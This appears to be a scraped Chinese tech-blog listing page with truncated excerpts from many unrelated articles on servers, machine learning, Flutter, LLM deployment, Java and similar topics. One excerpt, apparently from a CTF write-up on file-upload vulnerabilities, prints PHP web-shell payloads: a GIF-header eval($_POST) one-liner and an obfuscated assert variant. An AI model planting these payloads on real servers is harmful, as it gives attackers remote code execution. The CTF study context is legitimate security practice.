- 内存服务器主要是指什么?
wanhengidc
服务器运维
内存服务器也可以被称为内存计算服务器或者是内存驱动服务器,主要是一种采用了大容量内存作为主要存储介质的服务器,内存服务器的主要特点就是,可以在内存中存储和处理数据信息,不需要再依赖于磁盘,能够为企业提供更快的数据访问速度。内存服务器一般会采用分布式内存架构,将多个服务器节点组合成一个内存集群,可以进行共享内存资源,使内存服务器获得良好的扩展性,以此来支持一些大规模的并发操作;同时内存服务器可以存储
- 解锁机器学习核心算法 | 支持向量机:机器学习中的分类利刃
紫雾凌寒
AI炼金厂机器学习算法支持向量机python深度学习分类人工智能
一、引言在机器学习的庞大算法体系中,有十种算法被广泛认为是最具代表性和实用性的,它们犹如机器学习领域的“十大神器”,各自发挥着独特的作用。这十大算法包括线性回归、逻辑回归、决策树、随机森林、K-近邻算法、K-平均算法、支持向量机、朴素贝叶斯算法、降维算法、梯度增强算法。它们涵盖了回归、分类、聚类、降维等多个机器学习任务领域,是众多机器学习应用的基础和核心。而在这十大算法中,支持向量机(Suppor
- 收藏不迷路 —— Flutter 转场动效大合集
岛上码农
Flutter动画专题flutterandroid移动端开发跨平台iOS
前言动画经常会用于场景切换,比如滑动,缩放,尺寸变化,为应对这样的场景转换需要,Flutter提供了Transition系列的动画组件,可以让场景转换动画变得更加简单。本篇为你整理了常用的Transition组件的应用。CupertinoFullscreenDialogTransition名称显示是苹果风格的全屏对话转换动效,构造方法如下:CupertinoFullscreenDialogTran
- 新书速览|细说PyTorch深度学习:理论、算法、模型与编程实现
全栈开发圈
深度学习pytorch算法
超详细的PyTorch深度学习入门书,100余个编程示例+6大热点案例,大咖带路,边学边实践。本书特点:1.专家编撰:由资深专家精心编撰,通俗易懂,娓娓道来2.范例丰富:100余个编程教学示例,帮你深入理解,边学习、边操练。3.实战应用:6大典型应用,原理与实操并重,快速掌握提升实战能力。4技术先进:视觉transformer模型详解,紧跟大模型核心技术。5易于上手:Pytorch详解并使用Pyt
- LLM 参数解析:使用 OpenAI API 在 Python 中的实用指南(含示例)
真智AI
python人工智能chatgpt
当你使用大语言模型(LLM)时,可能会注意到,即使提交相同的请求,多次运行后仍然会得到不同的回应。这是因为LLM具有概率性,它们的输出基于所学到的模式和概率,而不是固定规则。幸运的是,你可以通过调整特定的参数来控制LLM的行为,就像微调收音机的旋钮来调整到想要的电台一样。理解这些参数可以帮助你更好地定制LLM的输出,使其更具可预测性或创造性,具体取决于你的需求。在本文中,我们将探讨多个关键参数,这
- deepseek本地部署后做微调训练实现智能对话的一些建议
慧香一格
AI学习deepseek服务器AI
在本地部署大模型后,进行微调和训练以实现智能对话,通常需要按照以下步骤操作。以下是详细的指导内容:1.准备数据集在微调大模型之前,需要准备适合的训练数据集。数据集应满足以下要求:格式:通常使用JSONL(JSONLines)格式,每行包含一个训练样本。内容:数据应包含对话的上下文和目标输出,例如:{"context":"你好!今天天气不错。","response":"是的,天气很好,适合出去走走。
- 大模型进化论:AI产业落地将卷向何方?
科技云报道
人工智能大数据
科技云报到原创。2024年,是大模型翻天覆地的一年。“百模大战”爆发不久,大模型价格战随之而来,成本高昂的大模型几乎进入了免费时代。大模型从庞大的实验室工具,转变为高效灵活的应用助手,以狂飙猛进的速度在众多行业落地生根。不再有人质疑大模型是“拿着锤子找钉子”,更急迫的需求来自市场端。行业对大模型应用的渴望推动着AIAgent走向前台,围绕AIAgent的混战已然开启。与此同时,大模型的技术范式飞速
- 科技云报到:从大模型到云端,“AI+云计算”还能讲出什么新故事
科技云报道
云计算大模型云计算
科技云报到原创。2024年的大模型产业,注定将是会被反复提起的一页。这一年,被按下加速键的市场刚刚过半,就已经显示出冰火两重天的格局。算法的单模态扩展到多模态,趋势如燎原之火,让全球陷入对世界模型畅想的狂欢中;一级市场逐渐走向冷静,投资人开始频频向企业要收入,百模齐发迅速被简化为几家独角兽之间的资本与技术持久战。云服务巨头则以一种标准制定者,以及顶级大模型团队背后力量的角色出现,成为市场中隐形的力
- m1处理器macbook使用qemu模拟运行RT-Thread
想学rtos的带土
m1macrt-threadiot物联网macosrisc-v
最近准备深入学习一下RTOS,好巧不巧的是在前几天换了m1的macbookair,于是想要在电脑上配置一下RT-Thread的开发环境,网上搜了一大堆,没有看到符合需求的相关教程(真的很少很少,哭了,给我整崩溃!)。不过在几天的东平西凑后,成功在我的电脑上完成了RT-Thread的编译与运行。现在分享出来,有需要的可以参考一下。1.工具python3.11.5.我这里应该是用的苹果自带的,这里不用
- Windows Docker Desktop部署MaxKB详细教程
Roc-xb
docker容器运维MaxKB
MaxKB(MaxKnowledgeBase)是一款基于大语言模型(LLM)和检索增强生成(RAG)技术的开源知识库问答系统,旨在帮助企业、教育机构及研究组织高效管理知识并提供智能问答服务。一、前期准备工作首先,你需要再你的Windows电脑上安装DockerDesktop。本章教程,不介绍如何安装Docker。二、搜索镜像dockersearchmaxkb
- 本地部署【DeepSeek-R1】,搭建自己的【知识库】
行者无疆xcc
AIai
使用deepseek+ollama+anythingLLM搭建简易知识库ollamadeepseekchatboxanythingLLM一、本地部署Ollama1.简要说明ollama可以看成是大模型的宿主平台管理用户的输入和大模型的输出注:如果运行不起来,可能跟硬件配置有关2.基本操作ollama:下载&安装:https://ollama.com/验证是否安装成功:命令行下输入ollama-vd
- AI 编程工具崛起,程序员的未来是否岌岌可危?
一、AI编程工具的现状AI编程工具的出现与迅猛发展是技术进步的必然结果。这一趋势首先得益于开源社区和代码托管平台提供的丰富代码样本,它们为AI模型的学习提供了充足的素材。其次,编程语言本身的严格语法和结构化特点,使得AI能够高效、精确地理解和生成代码。再者,深度学习技术的突破,尤其是大语言模型在代码理解与生成方面的显著进展,为AI编程提供了坚实的技术基础。最后,随着软件开发需求的不断增加,传统开发
- 大模型AI应用安全与合规测试实战指南-模型层
测试匠心:技能精进·职场跃迁·面试赢家
人工智能安全
——如何为生成式AI构筑“防火墙”与“红绿灯”一、当大模型落地时,我们在担忧什么?2023年,某金融公司上线智能客服,因未过滤用户隐私数据,导致信用卡号泄露;某医疗AI在诊断建议中生成错误药物剂量,引发监管审查……大模型在释放巨大商业价值的同时,安全与合规问题已成悬顶之剑。核心痛点直击:黑盒失控:生成内容不可预测,传统规则引擎失效数据深渊:训练数据含敏感信息,清洗难度指数级上升合规迷宫:全球AI监
- ios中常见的设计原则和设计模式
没头脑的ht
设计模式
七大设计原则1:开闭原则对扩展开放,对修改关闭,在设计模块的时候,使模块在不被修改的前提下可以扩展功能2:依赖倒置原则实现尽量依赖抽象,不依赖具体实现(1)高层模块不应该依赖底层模块,两者都应该依赖于抽象(2)抽象不应该依赖于细节,细节应该依赖于抽象3:单一职责原则对于一个类而言,应该只存在一个可以一起类变化的原因,一个类只承担一个职责,如果一个类有两个职责,应该将其非开。比如tableviewC
- FPC布线优化:让你的设计效率提升10倍
为昕科技
为昕MarsPCBpcb工艺硬件工程软件工程
在FPC(柔性印制电路板)设计中,走线标准是需要重点关注的基础要素。走线标准01.线宽标准·最小线宽通常为3-4mil(0.076-0.1mm)·常用线宽为4-8mil(0.1-0.2mm)·大电流走线需要更宽,可达12-20mil(0.3-0.5mm)02.线间距标准·最小间距一般不小于4mil(0.1mm)·普通信号线间距建议6-8mil(0.15-0.2mm)·高速信号线需要更大间距,建议8
- AI赋能教育:深度解析大模型在教育场景中的应用与架构设计【无标题】
和老莫一起学AI
人工智能语言模型产品经理ai自然语言处理大模型程序员
随着人工智能技术的飞速发展,尤其是大模型的崛起,教育行业迎来了全新的机遇和挑战。教学模式的变革、个性化学习的深化、教育管理的智能化,大模型正以不可忽视的力量推动着教育的数字化升级。在这篇文章中,我们将基于一张完整的应用设计架构图,从应用场景到AI核心能力、训练标注平台、智能处理引擎以及业务数据,全方位剖析大模型如何助力教育行业实现突破,真正实现“AI赋能教育,重塑未来”。一、应用场景:从传统教育到
- Python+DeepSeek,奔跑吧大模型
Bj陈默
python开发语言
在当今数字化浪潮中,人工智能与编程语言的融合正以前所未有的速度重塑着技术生态。Python作为最受欢迎的编程语言之一,以其简洁易读的语法、丰富的库和广泛的应用场景,成为了无数开发者的首选。而DeepSeek,作为人工智能领域的一颗新星,凭借其强大的大模型能力,为开发者们打开了一扇通往全新世界的大门。当Python遇上DeepSeek,一场技术的盛宴就此拉开帷幕。一、为什么选择Python与Deep
- 基于Knative的无服务器引擎重构:实现毫秒级冷启动的云原生应用浪潮
桂月二二
云原生knativeserverless
引言:从微服务到无状态的量子跃迁当容器启动时间仍困在900ms高位时,某视频直播平台采用Knative将突发流量处理时效提升40倍,弹性扩缩响应速度突破至120ms级。基于流量预测的预启动算法与内核级资源复用池两大技术创新,正在重新定义Serverless时代的性能边界。IDC最新报告指出,采用该架构的企业资源利用率平均提升至78%,年度计算成本直降320万美元。一、传统FaaS模型的性能桎梏1.
- 包管理工具npm、yarn、pnpm、cnpm详解
懒羊羊我小弟
前端工程化npm前端yarncnpmnode.js
1.包管理工具1.1npm#安装$node自带npm#基本用法npminstallpackage#安装包npminstall#安装所有依赖npminstall-gpackage#全局安装npmuninstallpackage#卸载包npmupdatepackage#更新包npmrunscript#运行脚本#特点-Node.js默认包管理器-依赖平铺结构-包安装慢-磁盘空间占用大1.2yarn#安装
- 第十八篇
zch001104
首页新闻博问专区闪存班级我的博客我的园子账号设置退出登录注册登录个人公众号交流:bigsaibigsai博客园首页新随笔联系订阅管理随笔-46文章-0评论-67八大排序算法—16张图搞懂基数排序原创公众号:bigsai转载需联系笔者前言在排序算法中,大家可能对桶排序、计数排序、基数排序不太了解,不太清楚其算法的思想和流程,也可能看过会过但是很快就忘记了,但是不要紧,幸运的是你看到了本篇文章。本文将
- 数字化转型实战:Odoo+工业物联网技术破解江苏食品制造行业三大核心痛点
邹工转型手札
风吟九宵Duodoo开源企业信息化运维人工智能制造
行业背景与挑战江苏省作为中国食品工业产值前三强省份,拥有光明乳业、雨润食品等龙头企业及近2000家中小型食品制造企业。2023年江苏省食品工业协会调研显示:行业平均设备综合效率(OEE)仅为62.3%月度异常停机时间达42小时/产线质量追溯周期超过3.5小时库存周转天数高于行业标杆企业27%在实地调研南京某糕点生产企业时发现,其ERP系统与生产设备存在严重数据断层:车间主任需每天手工录入6类表单、
- stm32电机驱动模块
想要成为糕手。
stm32单片机嵌入式硬件
电机驱动模块是智能车等电子设备中用于驱动电机运转的重要部件,它能将微控制器输出的控制信号转换为足够的功率和电流来驱动电机。以下为你详细介绍电机驱动模块的相关信息:常见类型1.L298N电机驱动模块特点高电压、大电流驱动能力:能够驱动高达46V的电机,持续输出电流可达2A,瞬间峰值电流能达到3A,适用于驱动各种中小型直流电机。双通道控制:可以同时控制两个直流电机的正反转和调速,也能用于驱动一个步进电
- DeepSeek对AI领域的变革性影响分析报告
芝士AI吃鱼
人工智能DeepSeekOpenAI
一、引言近年来,人工智能(AI)技术加速演进,而中国开源大模型DeepSeek的崛起,标志着全球AI竞争进入新阶段。其凭借低成本、高性能、开源生态三大核心优势,迅速成为行业焦点。本报告从技术、产业、投资、就业及未来趋势等维度,全面解析DeepSeek对AI领域的深远影响,为集团战略布局提供参考。二、技术突破:算法效率与成本革命架构创新:MOE与MLA技术优化DeepSeek采用混合专家系统(MoE
- 文件上传漏洞常用payload
Werqy3
web安全安全
[极客大挑战2019]UploadGIF89a@eval($_POST[1]);GIF89a$a="a"."s";$b="s"."e"."r"."t";$c=$a.$b;$c($_POST["1"]);
- 《DeepSeek训练算法:开启高效学习的新大门》
人工智能深度学习
在人工智能的浪潮中,大语言模型的发展日新月异。DeepSeek作为其中的佼佼者,凭借其独特的训练算法和高效的学习能力,吸引了众多目光。今天,就让我们深入探究DeepSeek训练算法的独特之处,以及它是如何保证模型实现高效学习的。一、独特的架构基础DeepSeek以Transformer架构为基石,但并非简单沿用,而是进行了深度创新。Transformer架构的核心是注意力机制,这让模型在处理序列数
- 国内十大工业物联网平台分析报告(2025年)
CServer_01
工业物联网工业物联网平台工业物联网平台选型物联网
目录1、工业物联网简介1.1、引言1.2、工业物联网平台架构1.3、工业物联网平台核心功能2、工业物联网发展趋势2.1、总体趋势2.2、技术趋势2.3、市场发展趋势2.4、应用趋势3、工业物联网平台市场预测3.1、工业物联网平台3.2、DCS3.3、实时数据库3.4、SCADA3.5、数字孪生3.6、设备全生命周期管理系统4、主要工业物联网平台供应商介绍4.1、蓝卓4.2、涂鸦智能4.3、中服云4
- 力扣 乘积最大子数组
孑么
力扣算法leetcode职场和发展java动态规划贪心算法
动态规划,注意负负得正,dp交换。题目注意这里的dp的乘积要求最大,而两个很大的负数相乘也是大的,因此在每遍历到一个数时要存一个最大值的dp与一个最小值的dp,然后遍历完后再去存ans的dp。由于存在负数,那么会导致最大的变最小的,最小的变最大的。因此还需要维护当前最小值。时间复杂度:O(n),空间复杂度:O(1)。classSolution{publicintmaxProduct(int[]nu
- 腾讯云目前支持4种DeepSeek开源大模型部署方案
szqcloud
database
企业级的应用,光有大模型能力还不够,推理引擎以外,应用经验、各类原子化能力和现成的应用经验不可或缺。欢迎交流#deepseek腾讯云目前支持4种DeepSeek开源大模型部署方案1、面向开发者开箱即用的HAI方式1)参考:https://mp.weixin.qq.com/s/kZLPfXv3b1sxLSwyRVsEsg2)优势:支持R1,免除购买资源部署的过程,直接开箱使用;参数规模支持1.5B、
- AI大模型应用开发实践:3.使用 tiktoken 计算 token 数量
Hugo_Hoo
AI大模型应用开发人工智能AI编程agi
使用tiktoken计算token数量tiktoken是OpenAI开发的一种BPE分词器。给定一段文本字符串(例如,"tiktokenisgreat!")和一种编码方式(例如,"cl100k_base"),分词器可以将文本字符串切分成一系列的token(例如,["t","ik","token","is","great","!"])。将文本字符串切分成token非常有用,因为GPT模型看到的文本就
- 使用Python中的LangChain库优化消息长度:从聊天历史到模型性能的全面指南
m0_57781768
pythonlangchaineasyui
使用Python中的LangChain库优化消息长度:从聊天历史到模型性能的全面指南在现代人工智能应用中,大语言模型(LLM)扮演着越来越重要的角色,尤其是在对话系统、智能助理和其他自然语言处理任务中。然而,所有的模型都有一个有限的上下文窗口,意味着它们可以处理的输入令牌(tokens)数量是有限的。当我们需要处理较长的对话历史或复杂的任务链时,如何管理传递给模型的消息长度变得至关重要。在这篇文章
- apache 安装linux windows
墙头上一根草
apacheinuxwindows
linux安装Apache 有两种方式一种是手动安装通过二进制的文件进行安装,另外一种就是通过yum 安装,此中安装方式,需要物理机联网。以下分别介绍两种的安装方式
通过二进制文件安装Apache需要的软件有apr,apr-util,pcre
1,安装 apr 下载地址:htt
- fill_parent、wrap_content和match_parent的区别
Cb123456
match_parentfill_parent
fill_parent、wrap_content和match_parent的区别:
1)fill_parent
设置一个构件的布局为fill_parent将强制性地使构件扩展,以填充布局单元内尽可能多的空间。这跟Windows控件的dockstyle属性大体一致。设置一个顶部布局或控件为fill_parent将强制性让它布满整个屏幕。
2) wrap_conte
- 网页自适应设计
天子之骄
htmlcss响应式设计页面自适应
网页自适应设计
网页对浏览器窗口的自适应支持变得越来越重要了。自适应响应设计更是异常火爆。再加上移动端的崛起,更是如日中天。以前为了适应不同屏幕分布率和浏览器窗口的扩大和缩小,需要设计几套css样式,用js脚本判断窗口大小,选择加载。结构臃肿,加载负担较大。现笔者经过一定时间的学习,有所心得,故分享于此,加强交流,共同进步。同时希望对大家有所
- [sql server] 分组取最大最小常用sql
一炮送你回车库
SQL Server
--分组取最大最小常用sql--测试环境if OBJECT_ID('tb') is not null drop table tb;gocreate table tb( col1 int, col2 int, Fcount int)insert into tbselect 11,20,1 union allselect 11,22,1 union allselect 1
- ImageIO写图片输出到硬盘
3213213333332132
javaimage
package awt;
import java.awt.Color;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import javax.imagei
- 自己的String动态数组
宝剑锋梅花香
java动态数组数组
数组还是好说,学过一两门编程语言的就知道,需要注意的是数组声明时需要把大小给它定下来,比如声明一个字符串类型的数组:String str[]=new String[10]; 但是问题就来了,每次都是大小确定的数组,我需要数组大小不固定随时变化怎么办呢? 动态数组就这样应运而生,龙哥给我们讲的是自己用代码写动态数组,并非用的ArrayList 看看字符
- pinyin4j工具类
darkranger
.net
pinyin4j工具类Java工具类 2010-04-24 00:47:00 阅读69 评论0 字号:大中小
引入pinyin4j-2.5.0.jar包:
pinyin4j是一个功能强悍的汉语拼音工具包,主要是从汉语获取各种格式和需求的拼音,功能强悍,下面看看如何使用pinyin4j。
本人以前用AscII编码提取工具,效果不理想,现在用pinyin4j简单实现了一个。功能还不是很完美,
- StarUML学习笔记----基本概念
aijuans
UML建模
介绍StarUML的基本概念,这些都是有效运用StarUML?所需要的。包括对模型、视图、图、项目、单元、方法、框架、模型块及其差异以及UML轮廓。
模型、视与图(Model, View and Diagram)
&
- Activiti最终总结
avords
Activiti id 工作流
1、流程定义ID:ProcessDefinitionId,当定义一个流程就会产生。
2、流程实例ID:ProcessInstanceId,当开始一个具体的流程时就会产生,也就是不同的流程实例ID可能有相同的流程定义ID。
3、TaskId,每一个userTask都会有一个Id这个是存在于流程实例上的。
4、TaskDefinitionKey和(ActivityImpl activityId
- 从省市区多重级联想到的,react和jquery的差别
bee1314
jqueryUIreact
在我们的前端项目里经常会用到级联的select,比如省市区这样。通常这种级联大多是动态的。比如先加载了省,点击省加载市,点击市加载区。然后数据通常ajax返回。如果没有数据则说明到了叶子节点。 针对这种场景,如果我们使用jquery来实现,要考虑很多的问题,数据部分,以及大量的dom操作。比如这个页面上显示了某个区,这时候我切换省,要把市重新初始化数据,然后区域的部分要从页面
- Eclipse快捷键大全
bijian1013
javaeclipse快捷键
Ctrl+1 快速修复(最经典的快捷键,就不用多说了)Ctrl+D: 删除当前行 Ctrl+Alt+↓ 复制当前行到下一行(复制增加)Ctrl+Alt+↑ 复制当前行到上一行(复制增加)Alt+↓ 当前行和下面一行交互位置(特别实用,可以省去先剪切,再粘贴了)Alt+↑ 当前行和上面一行交互位置(同上)Alt+← 前一个编辑的页面Alt+→ 下一个编辑的页面(当然是针对上面那条来说了)Alt+En
- js 笔记 函数
征客丶
JavaScript
一、函数的使用
1.1、定义函数变量
var vName = funcation(params){
}
1.2、函数的调用
函数变量的调用: vName(params);
函数定义时自发调用:(function(params){})(params);
1.3、函数中变量赋值
var a = 'a';
var ff
- 【Scala四】分析Spark源代码总结的Scala语法二
bit1129
scala
1. Some操作
在下面的代码中,使用了Some操作:if (self.partitioner == Some(partitioner)),那么Some(partitioner)表示什么含义?首先partitioner是方法combineByKey传入的变量,
Some的文档说明:
/** Class `Some[A]` represents existin
- java 匿名内部类
BlueSkator
java匿名内部类
组合优先于继承
Java的匿名类,就是提供了一个快捷方便的手段,令继承关系可以方便地变成组合关系
继承只有一个时候才能用,当你要求子类的实例可以替代父类实例的位置时才可以用继承。
在Java中内部类主要分为成员内部类、局部内部类、匿名内部类、静态内部类。
内部类不是很好理解,但说白了其实也就是一个类中还包含着另外一个类如同一个人是由大脑、肢体、器官等身体结果组成,而内部类相
- 盗版win装在MAC有害发热,苹果的东西不值得买,win应该不用
ljy325
游戏applewindowsXPOS
Mac mini 型号: MC270CH-A RMB:5,688
Apple 对windows的产品支持不好,有以下问题:
1.装完了xp,发现机身很热虽然没有运行任何程序!貌似显卡跑游戏发热一样,按照那样的发热量,那部机子损耗很大,使用寿命受到严重的影响!
2.反观安装了Mac os的展示机,发热量很小,运行了1天温度也没有那么高
&nbs
- 读《研磨设计模式》-代码笔记-生成器模式-Builder
bylijinnan
java设计模式
声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
/**
* 生成器模式的意图在于将一个复杂的构建与其表示相分离,使得同样的构建过程可以创建不同的表示(GoF)
* 个人理解:
* 构建一个复杂的对象,对于创建者(Builder)来说,一是要有数据来源(rawData),二是要返回构
- JIRA与SVN插件安装
chenyu19891124
SVNjira
JIRA安装好后提交代码并要显示在JIRA上,这得需要用SVN的插件才能看见开发人员提交的代码。
1.下载svn与jira插件安装包,解压后在安装包(atlassian-jira-subversion-plugin-0.10.1)
2.解压出来的包里下的lib文件夹下的jar拷贝到(C:\Program Files\Atlassian\JIRA 4.3.4\atlassian-jira\WEB
- 常用数学思想方法
comsci
工作
对于搞工程和技术的朋友来讲,在工作中常常遇到一些实际问题,而采用常规的思维方式无法很好的解决这些问题,那么这个时候我们就需要用数学语言和数学工具,而使用数学工具的前提却是用数学思想的方法来描述问题。。下面转帖几种常用的数学思想方法,仅供学习和参考
函数思想
把某一数学问题用函数表示出来,并且利用函数探究这个问题的一般规律。这是最基本、最常用的数学方法
- pl/sql集合类型
daizj
oracle集合typepl/sql
--集合类型
/*
单行单列的数据,使用标量变量
单行多列数据,使用记录
单列多行数据,使用集合(。。。)
*集合:类似于数组也就是。pl/sql集合类型包括索引表(pl/sql table)、嵌套表(Nested Table)、变长数组(VARRAY)等
*/
/*
--集合方法
&n
- [Ofbiz]ofbiz初用
dinguangx
电商ofbiz
从github下载最新的ofbiz(截止2015-7-13),从源码进行ofbiz的试用
1. 加载测试库
ofbiz内置derby,通过下面的命令初始化测试库
./ant load-demo (与load-seed有一些区别)
2. 启动内置tomcat
./ant start
或
./startofbiz.sh
或
java -jar ofbiz.jar
&
- 结构体中最后一个元素是长度为0的数组
dcj3sjt126com
cgcc
在Linux源代码中,有很多的结构体最后都定义了一个元素个数为0个的数组,如/usr/include/linux/if_pppox.h中有这样一个结构体: struct pppoe_tag { __u16 tag_type; __u16 tag_len; &n
- Linux cp 实现强行覆盖
dcj3sjt126com
linux
发现在Fedora 10 /ubutun 里面用cp -fr src dest,即使加了-f也是不能强行覆盖的,这时怎么回事的呢?一两个文件还好说,就输几个yes吧,但是要是n多文件怎么办,那还不输死人呢?下面提供三种解决办法。 方法一
我们输入alias命令,看看系统给cp起了一个什么别名。
[root@localhost ~]# aliasalias cp=’cp -i’a
- Memcached(一)、HelloWorld
frank1234
memcached
一、简介
高性能的架构离不开缓存,分布式缓存中的佼佼者当属memcached,它通过客户端将不同的key hash到不同的memcached服务器中,而获取的时候也到相同的服务器中获取,由于不需要做集群同步,也就省去了集群间同步的开销和延迟,所以它相对于ehcache等缓存来说能更好的支持分布式应用,具有更强的横向伸缩能力。
二、客户端
选择一个memcached客户端,我这里用的是memc
- Search in Rotated Sorted Array II
hcx2013
search
Follow up for "Search in Rotated Sorted Array":What if duplicates are allowed?
Would this affect the run-time complexity? How and why?
Write a function to determine if a given ta
- Spring4新特性——更好的Java泛型操作API
jinnianshilongnian
spring4generic type
Spring4新特性——泛型限定式依赖注入
Spring4新特性——核心容器的其他改进
Spring4新特性——Web开发的增强
Spring4新特性——集成Bean Validation 1.1(JSR-349)到SpringMVC
Spring4新特性——Groovy Bean定义DSL
Spring4新特性——更好的Java泛型操作API
Spring4新
- CentOS安装JDK
liuxingguome
centos
1、行卸载原来的:
[root@localhost opt]# rpm -qa | grep java
tzdata-java-2014g-1.el6.noarch
java-1.7.0-openjdk-1.7.0.65-2.5.1.2.el6_5.x86_64
java-1.6.0-openjdk-1.6.0.0-11.1.13.4.el6.x86_64
[root@localhost
- 二分搜索专题2-在有序二维数组中搜索一个元素
OpenMind
二维数组算法二分搜索
1,设二维数组p的每行每列都按照下标递增的顺序递增。
用数学语言描述如下:p满足
(1),对任意的x1,x2,y,如果x1<x2,则p(x1,y)<p(x2,y);
(2),对任意的x,y1,y2, 如果y1<y2,则p(x,y1)<p(x,y2);
2,问题:
给定满足1的数组p和一个整数k,求是否存在x0,y0使得p(x0,y0)=k?
3,算法分析:
(
- java 随机数 Math与Random
SaraWon
javaMathRandom
今天需要在程序中产生随机数,知道有两种方法可以使用,但是使用Math和Random的区别还不是特别清楚,看到一篇文章是关于的,觉得写的还挺不错的,原文地址是
http://www.oschina.net/question/157182_45274?sort=default&p=1#answers
产生1到10之间的随机数的两种实现方式:
//Math
Math.roun
- oracle创建表空间
tugn
oracle
create temporary tablespace TXSJ_TEMP
tempfile 'E:\Oracle\oradata\TXSJ_TEMP.dbf'
size 32m
autoextend on
next 32m maxsize 2048m
extent m
- 使用Java8实现自己的个性化搜索引擎
yangshangchuan
javasuperword搜索引擎java8全文检索
需要对249本软件著作实现句子级别全文检索,这些著作均为PDF文件,不使用现有的框架如lucene,自己实现的方法如下:
1、从PDF文件中提取文本,这里的重点是如何最大可能地还原文本。提取之后的文本,一个句子一行保存为文本文件。
2、将所有文本文件合并为一个单一的文本文件,这样,每一个句子就有一个唯一行号。
3、对每一行文本进行分词,建立倒排表,倒排表的格式为:词=包含该词的总行数N=行号